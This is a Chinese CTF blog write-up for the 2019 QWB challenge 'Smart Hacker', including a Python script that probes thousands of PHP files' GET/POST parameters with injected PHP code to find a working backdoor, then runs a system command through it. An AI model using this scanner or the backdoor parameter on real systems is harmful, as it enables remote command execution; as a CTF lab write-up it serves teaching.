2019强网杯——高明的黑客 - CDUSEC内部博客

2019强网杯——高明的黑客

分类栏目: WEB

43℃

sqrt 发布于 发表评论

代码审计

打开网址出现如下页面

 

好吧,打开www.tar.gz下载压缩包,打开全是网页源码,随意打开个看看基本全是垃圾信息,没什么用

但还是有点有用的东西的,看见有能_GET和_POST传值进去的地方,那就写个脚本传个特定的字符进去,看看能不能输出吧,

如果能输出,那么就说明此处可用呀,直接上脚本吧

import os,requests,re

z=os.listdir(r'E:\phpstudy\PHPTutorial\WWW\src')
url='http://127.0.0.1/src/'
def fun(s):
    p='E:\\phpstudy\\PHPTutorial\\WWW\\src\\'+s
    r=open(p,'r',encoding='UTF-8').read()
    t=re.findall('\$_POST\[\'(.*?)\'\]',r,re.S)
    print(s)
    for x in t:
        
        data={x:'echo flagzaiwozhe;'}
        if 'flagzaiwozhe' in requests.post(url+s,data=data).text:
            print('true shell:',s)
            exit(0)
    t=re.findall('\$_GET\[\'(.*?)\'\]',r,re.S)
    for x in t:
        
        data='echo flagzaiwozhe;'
        if 'flagzaiwozhe' in requests.get(url+s+'?'+x+'='+data).text:
            print('true shell:',s)
            exit(0)
for y in z[::-1][337:]:
    fun(y)

脚本跑完输出

 

欸,那么说明这个文件可用了,打开它开始审计吧

审到这里的时候小心了,差点我都看懵了,这里利用字符串的拼接加explode()函数拼了个system()函数,这个问题大大的呀

那么_GET直接传入Efa5BVG=dir直接看到了当前路径下的目录了呀

剩下的应该不用多说了吧。

题目源码下载地址https://github.com/CTFTraining/qwb_2019_smarthacker

 

 

 

 

 

 

 

 

 

 

 

 

  友情赞助
微信二维码
支付宝二维码
  选择分享方式

版权:若无特殊注明,本文皆为sqrt原创,转载请保留文章出处。

链接:2019强网杯——高明的黑客 - http://cdusec.happyhacking.top/?post=77